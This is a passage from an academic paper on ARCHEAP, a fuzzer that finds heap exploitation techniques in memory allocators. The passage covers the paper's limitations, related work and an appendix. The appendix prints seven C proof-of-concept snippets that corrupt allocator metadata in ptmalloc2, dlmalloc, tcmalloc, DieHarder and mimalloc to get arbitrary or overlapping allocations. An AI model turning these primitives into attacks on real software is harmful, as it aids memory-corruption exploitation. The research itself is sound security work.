8.3 Delta-Debugging-Based Minimization
The minimization technique based on delta-debugging is ef-
fective in simplifying the generated PoCs for further analysis.
It effectively reduces 84.3% of redundant actions from orig-
inal PoCs (refer to §7.3) and emits small PoCs that contain
26.1 lines on average (see Table 12). Although our minimiza-
tion is preliminary (i.e., eliminating one independent action
per testing), the final PoC is sufficiently small for manual
analysis to understand impacts of the found technique.

9 Discussion and Limitations
Completeness. ARCHEAP is fundamentally incomplete
due to its random nature, so it would not be surprising at
all if someone discover other heap exploitation techniques.
HeapHopper, on the other hand, is complete in terms of given
models, i.e., exploring all combinations of transactions given
the length of transactions. Since their models are incomplete



Version Raw Minimized
Mean Std. dev Mean Std. dev

2.15 112.6 161 25.9 (-77.0 %) 25.3
2.19 110.8 145 23.3 (-79.0 %) 4.6
2.23 98.3 120 22.5 (-77.1 %) 6.2
2.27 344.2 177 33 (-90.4 %) 8.8

Average 166.5 150.8 26.2 (-84.3 %) 11.2

Table 12: Average and standard derivation of lines of raw and
minimized PoCs using delta debugging. It shows that the delta
debugging successfully removes 84.3% of redundant actions.

(or often error-prone), proper use of each approach is depen-
dent on the target use cases. For example, if one is looking
for a practical solution to find new exploitation techniques,
ARCHEAP would be a more preferable platform to start with.
Overfitting to fuzzing strategies. ARCHEAP’s approach
is quite generic in practice even with its specific fuzzing
strategies to the common design decisions in §2.1. First,
ARCHEAP can explore security issues related to APIs (e.g.,
double free) without loss of generality because of their stan-
dardization (see, §7.2). Second, ARCHEAP’s approach to
make random metadata is practically useful thanks to the
bipartite design of a real-world allocator. In particular, a
performance-focused allocator that places metadata in a
chunk (e.g., ptmalloc2) has little motivation to avoid the use
of in-place metadata or to violate the cardinal design for its
performance. If an allocator is not performance-oriented, it
will move its metadata to a dedicated place for better security
(e.g., jemalloc). Such a design will make all methods to gener-
ate metadata useless in finding heap exploitation techniques.

However, ARCHEAP still has a chance to cause overfitting:
our fuzzing strategies could be insufficient to examine cer-
tain allocators. In this case, one might have to devise own
models for proper space reduction to apply ARCHEAP to
non-conventional implementation. requiring in-depth under-
standing of a target allocator. For example, if an allocator
uses big-endian encoding for its size, a user should encode
this in ARCHEAP’s fuzzing strategies.
Scope. Unlike other automatic exploit generation work,
ARCHEAP focuses only on finding heap exploit techniques.
To make end-to-end exploits, we need to properly combine
application contexts, which is currently out-of-scope for this
project. Despite many open challenges in realizing fully au-
tomated exploit generation, we believe that ARCHEAP can
contribute by supplying useful primitives [58]. Moreover,
ARCHEAP focuses only on a user-mode allocator. To extend
ARCHEAP to kernel, we need to handle kernel-specific chal-
lenges, e.g., non-deterministism and zone-based allocation.

10 Related work

Automatic exploit generation (AEG). Automatic discovery
of heap exploit techniques is a small step toward AEG’s ambi-
tious vision [4, 10], but it is worth emphasizing its importance
and difficulty. Despite several attempts to accomplish fully
automated exploit generation [4, 10, 11, 33, 46, 58, 60, 70],

AEG, particularly for heap vulnerabilities, is too sophisti-
cated and difficult even for state-of-the-art cyber systems
[21, 30, 62, 67]. Recently, Repel et al. [58] propose symbolic-
execution-based AEG for heap vulnerabilities, but it only
works for much older allocators without security checks (pt-
malloc2 version 2.3.3) unlike ARCHEAP (2.23 and 2.27).
Heelan et al. [33, 34] demonstrate AEG for heap overflows
in interpreters, but specific to scriptable programs. Unlike
the prior work, ARCHEAP focuses on finding heap exploita-
tion techniques, which are re-usable across applications, in
modern allocators with full security checks.
Fuzzing beyond crashes. There has been a large body
of attempts to extend fuzzing to find bugs beyond memory
safety [29, 75]. They often use differential testing, which
we used for minimization, to find semantic bugs, e.g., com-
pilers [73], cryptographic libraries [9, 53], JVM implemen-
tations [14] and learning systems [51]. Recently, Slow-
Fuzz [54] uses fuzzing to find algorithmic complexity bugs,
and IMF [69] to spot similar code in binary.
Application-aware fuzzing. Application-aware fuzzing is
one of the attempts to reduce the search space of fuzzing.
In this regard, there have been attempts to use static and dy-
namic analysis [13, 44, 52, 57], bug descriptions [74], and
real-world applications [12, 32, 39] to extract target-specific
information for fuzzing. Moreover, to reduce the search space
for applications that require well-formed inputs, researchers
have embedded domain-specific knowledge such as gram-
mar [35, 68, 73] or structure [9, 53] in their fuzzing. Similar
to these works, ARCHEAP reduces its search space by consid-
ering its targets and memory allocators, particularly exploiting
their common designs.

11 Conclusion
In this paper, we present ARCHEAP, a new approach using
fuzzing to automatically discover new heap exploitation tech-
niques. ARCHEAP’s two key ideas are to reduce the search
space of fuzzing by abstracting the common design of modern
heap allocators, and to devise a method to quickly estimate
the possibility of heap exploitation. Our evaluation with
ptmalloc2 and 10 other allocators shows that ARCHEAP’s ap-
proach can effectively formulate new exploitation primitives
regardless of their underlying implementations.
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A Appendix

Challenge Impacts of exploitation
OC OC RW AW

CROMU_00003 ✓ ✓ ✓ ✓
CROMU_00004 ✓ ✓ ✓ ✓
KPRCA_00002 ✓ ✓ ✓ ✓
KPRCA_00007 ✓ ✓ ✓ ✓
NRFIN_00007
NRFIN_00014 ✓ ✓ ✓ ✓
NRFIN_00024 ✓ ✓ ✓ ✓
NRFIN_00027 ✓ ✓ ✓ ✓
NRFIN_00032 ✓ ✓

Table 13: Exploitation techniques found by ARCHEAP in custom
allocators of CGC. Except for NRFIN_00007 that implements the
page heap, ARCHEAP successfully found exploitation techniques in
the custom allocators.

A.1 Security of Custom Allocators
To further evaluate the generality of ARCHEAP, we applied ARCHEAP to
all custom heap allocators implemented for the DARPA CGC competition—
since many challenges share the implementation, we selected nine unique
ones for our evaluation (see, Table 13). We implemented a missing API,
(i.e., malloc_usable_size()) to get the size of allocated objects and ran the
experiment for 24 hours for each heap allocator. Similar to the previous one,
no specific model is provided.

ARCHEAP found exploitation primitives for all of the tested allocators,
except for NRFIN_00007, which implements page heap.Such allocator looks
secure in terms of metadata corruption, but it is impractical due to its memory
overheads causing internal fragmentation. During this evaluation, we found
two interesting results. First, ARCHEAP found exploitation techniques for
NRFIN_00032, which has a heap cookie to overflows. Although this cookie-
based protection is not bypassable via heap metadata corruption, ARCHEAP
found that the implementation is vulnerable to an integer overflow and
could craft two overlapping chunks without corrupting the heap cookie.
Second, ARCHEAP found the incorrect implementation of the allocator in
CROMU_00004, which returns a chunk that is free or its size is larger than the
request. ARCHEAP successfully crafted a PoC code resulting in overlapping
chunks by allocating a smaller chunk than the previous allocation. This
experiment indicates that our common heap designs are indeed universal
even for in modern and custom heap allocators (§2.1).

A.2 Search Heuristics in HeapHopper
We also evaluated all search heuristics [63] supported by HeapHopper, which
can be applied without exploit-specific information; for example, we ex-
clude the strategy called ManualMergepoint, which requires an address in a
binary to merge states. As a result, we collected five search heuristics: DFS,
which is the default mode of HeapHopper; Concretizer, which aggressively
concretizes symbolic values to reduce the number of paths; Unique, which
selects states according to their uniqueness for better coverage; Stochas-
tic, which randomly selects the next states to explore; and Veritesting [5],
which merges states to suppress path explosion combining static and dynamic
symbolic execution.

Unfortunately, as shown in Table 14, none of them was helpful in our
evaluation; the default mode (DFS) shows the best performance. First, these
heuristics only help to mitigate, but cannot solve the fundamental problems
of HeapHopper: path explosion and exponential growing combinations of
transactions. More seriously, they cannot exploit a concrete model from
HeapHopper to alleviate the aforementioned issues unlike DFS. This explains
DFS’s best performance and Stochastic’s worst performance. Veritesting
failed due to its incorrect handling of undefined behaviors (e.g., NULL
dereference) in merged states, which are common in our task assuming
memory corruptions.

New Techniques Old Techniques (Bug+Impact+Chunks)
UBS HUE UDF OCS FD UU HS PN HL OC UB HE

DFS (Default) ∞ ∞ ∞ ∞ 3.8m ∞ 31.4s ∞ ∞ ∞ 21.8s ∞

Concretizer ∞ ∞ ∞ ∞ 2.90 h ∞ 1.96 m ∞ ∞ ∞ 5.25 m ∞

Stochastic ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞

Unique ∞ ∞ ∞ ∞ 2.91 h ∞ 2.02 m ∞ ∞ ∞ 51.91 s ∞

Veritesting ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞ ∞

Table 14: Results of §8.1 with various search heuristics supported
by HeapHopper

1 // [PRE-CONDITION]
2 // fsz: fast bin size
3 // sz: non-fast-bin size
4 // lsz: size larger than page (> 4096)
5 // xlsz: very large size that cannot be allocated
6 // [BUG] buffer overflow
7 // [POST-CONDITION]
8 // malloc(sz) == dst
9 void* p0 = malloc(sz);

10 void* p1 = malloc(xlsz);
11 void* p2 = malloc(lsz);
12 void* p3 = malloc(sz);
13

14 // [BUG] overflowing p3 to overwrite top chunk
15 struct malloc_chunk *tc = raw_to_chunk(p3 + chunk_size(sz));
16 tc->size = 0;
17

18 void* p4 = malloc(fsz);
19 void* p5 = malloc(dst - p4 - chunk_size(fsz) \
20 - offsetof(struct malloc_chunk, fd));
21 assert(dst == malloc(sz));

Figure A.1: An exploitation technique for dlmalloc-2.8.6 returning
an arbitrary chunk using overflow bug that was found by ARCHEAP.

1 // [PRE-CONDITION]
2 // sz : any size
3 // [BUG] buffer overflow
4 // [POST-CONDITION]
5 // malloc(sz) == dst
6 void* p = malloc(sz);
7 // [BUG] overflowing p
8 // tcmalloc has a next chunk address at the end of a chunk
9 *(void**)(p + malloc_usable_size(p)) = dst;

10

11 // this malloc changes a next chunk address into dst
12 malloc(sz);
13

14 assert(malloc(sz) == dst);

Figure A.2: An exploitation technique for tcmalloc returning an
arbitrary address that was found by ARCHEAP.

1 // [PRE-CONDITION]
2 // lsz : large size (> 64 KB)
3 // xlsz: more large size (>= lsz + 4KB)
4 // [BUG] double free
5 // [POST-CONDITION]
6 // p2 == malloc(lsz);
7 void* p0 = malloc(lsz);
8 free(p0);
9 void* p1 = malloc(xlsz);

10

11 // [BUG] free ’p0’ again
12 free(p0);
13

14 void* p2 = malloc(lsz);
15 free(p1);
16

17 assert(p2 == malloc(lsz));

Figure A.3: An exploitation technique for DieHarder and mimalloc-
secure triggering double free that was found by ARCHEAP.



1 // [PRE-CONDITION]
2 // sz : any non-fast-bin size
3 // [BUG] buffer overflow
4 // [POST-CONDITION]
5 // malloc(sz) == dst + offsetof(struct malloc_chunk, fd)
6 void* p0 = malloc(sz);
7 void* p1 = malloc(sz);
8 void* p2 = malloc(sz);
9

10 // move p1 to the unsorted bin
11 free(p1);
12

13 // create a fake chunk at dst
14 struct malloc_chunk *fake = dst;
15 // set fake->size to be the chunk size of the last allocation
16 fake->size = chunk_size(sz);
17 // set fake->bk to any writable address to avoid a crash
18 fake->bk = fake;
19

20 // [BUG] overflowing p0
21 struct malloc_chunk *c1 = raw_to_chunk(p1);
22 // size should be smaller than the next allocation size
23 // to avoid returning c1 in the next allocation
24 // size shouldn’t be too small due to a security check
25 c1->size = 2 * sizeof(size_t);
26 // set the next pointer in the unsorted bin
27 c1->bk = fake;
28

29 // now unsorted bin: c1 -> fake,
30 // and c1 is too small for the request.
31 // therefore, next allocation returns the fake chunk
32 assert(malloc(sz) == fake \
33 + offsetof(struct malloc_chunk, fd));

Figure A.4: A new exploitation technique that ARCHEAP found,
named unsorted bin into stack, that returns arbitrary memory by
corrupting the unsorted bin.

1 // [PRE-CONDITION]
2 // sz : any small bin size
3 // sz2 : any small bin size
4 // assert(sz2 > sz)
5 // [BUG] buffer overflow
6 // [POST-CONDITION] two chunks overlap
7 void* p0 = malloc(sz);
8 void* p1 = malloc(sz);
9 void* p2 = malloc(sz);

10

11 // move p1 to the unsorted bin
12 free(p1);
13

14 // move p1 to the small bin
15 void* p3 = malloc(sz2);
16

17 // [BUG] overflowing p0
18 struct malloc_chunk *c1 = raw_to_chunk(p1);
19 // growing size into double
20 c1->size = 2 * chunk_size(sz) | 1;
21

22 // p4’s chunk size = chunk_size(sz) * 2
23 void *p4 = malloc(sz);
24 // move p4 to the unsorted bin
25 free(p4);
26

27 // splitting p4 into half and returning p5
28 void* p5 = malloc(sz);
29 // returning the remainder
30 void* p6 = malloc(sz);
31

32 // p2 and p6 overlap
33 assert(p2 == p6);

Figure A.5: A new exploitation technique that ARCHEAP found,
named overlapping chunks smallbin, that returns an overlapped
chunk in small bin. Even though this requires more steps than
overlapping chunks, it does not need accurate size for allocation.

1 // [PRE-CONDITION]
2 // sz1: non-fast-bin size
3 // sz2: non-fast-bin size
4 // sz1 and sz2 have the following relationship;
5 // assert(chunk_size(sz1) * a == chunk_size(sz2) * b);
6 // [BUG] double free
7 // [POST-CONDITION] two chunks overlap
8 for (int i = 0; i < a; i++)
9 p1[i] = malloc(sz1);

10

11 // allocate a chunk to prevent merging with the top chunk
12 void* p = malloc(0);
13

14 // free from backward not to modify size of p1[a - 1]
15 for (int i = a - 1; i >= 0; i--)
16 free(p1[i]);
17

18 // allocate chunks to fill empty space
19 for (int i = 0; i < b; i++)
20 p2[i] = malloc(sz2);
21

22 // now the next free chunk of p1[a-1] is p whose P=1,
23 // and p1[a-1] contains old, yet valid metadata
24 // [BUG] double free
25 free(p1[a-1]);
26

27 // new allocation returns p1[a-1] that overlaps with p2[b-1]
28 assert(malloc(sz1) == p1[a-1]);

Figure A.6: A new exploitation technique that ARCHEAP found,
named unaligned double free, that returns overlapped chunks by the
double free bug.
1 // [PRE-CONDITION]
2 // sz: small bin size
3 // assert(chunk_size(sz) & 0xff == 0);
4 // [BUG] off-by-one NULL
5 // [POST-CONDITION]
6 // raw_to_chunk(malloc(sz)) == fake
7 char *p1 = malloc(sz);
8 char *p2 = malloc(sz);
9 char *p3 = malloc(sz);

10 char *p4 = malloc(sz);
11

12 // move p1 to unsorted bin
13 free(p1);
14 struct malloc_chunk* c3 = raw_to_chunk(p3);
15

16 // make prev_size into double to cover a large chunk
17 // this is valid by writing p2’s last data
18 c3->prev_size = chunk_size(sz) * 2;
19

20 // [BUG] use off-by-one NULL to make P=0 in c3
21 assert((c3->size & 0xff) == 0x01);
22 c3->size &= ~1;
23

24 // this will merge p1 & p3
25 free(p3);
26

27 // if we allocate p5,
28 // p2 is now points to a free chunk in the unsorted bin
29 char *p5 = malloc(sz);
30

31 // it’s unsorted bin into stack
32 struct malloc_chunk* fake = (void*)buf;
33

34 // set fake->size to chunk_size(sz) for later allocation
35 fake->size = chunk_size(sz);
36

37 // set fake->bk to any writable address to avoid crash
38 fake->bk = (void*)buf;
39

40 struct malloc_chunk* c2 = raw_to_chunk(p2);
41 c2->bk = fake;
42 assert(raw_to_chunk(malloc(sz)) == fake);

Figure A.7: A new exploitation technique that ARCHEAP found,
named house of unsorted einherjar. This is a variant of a known heap
exploitation technique, house of einherjar, but it does not require a
heap address unlike the old one.
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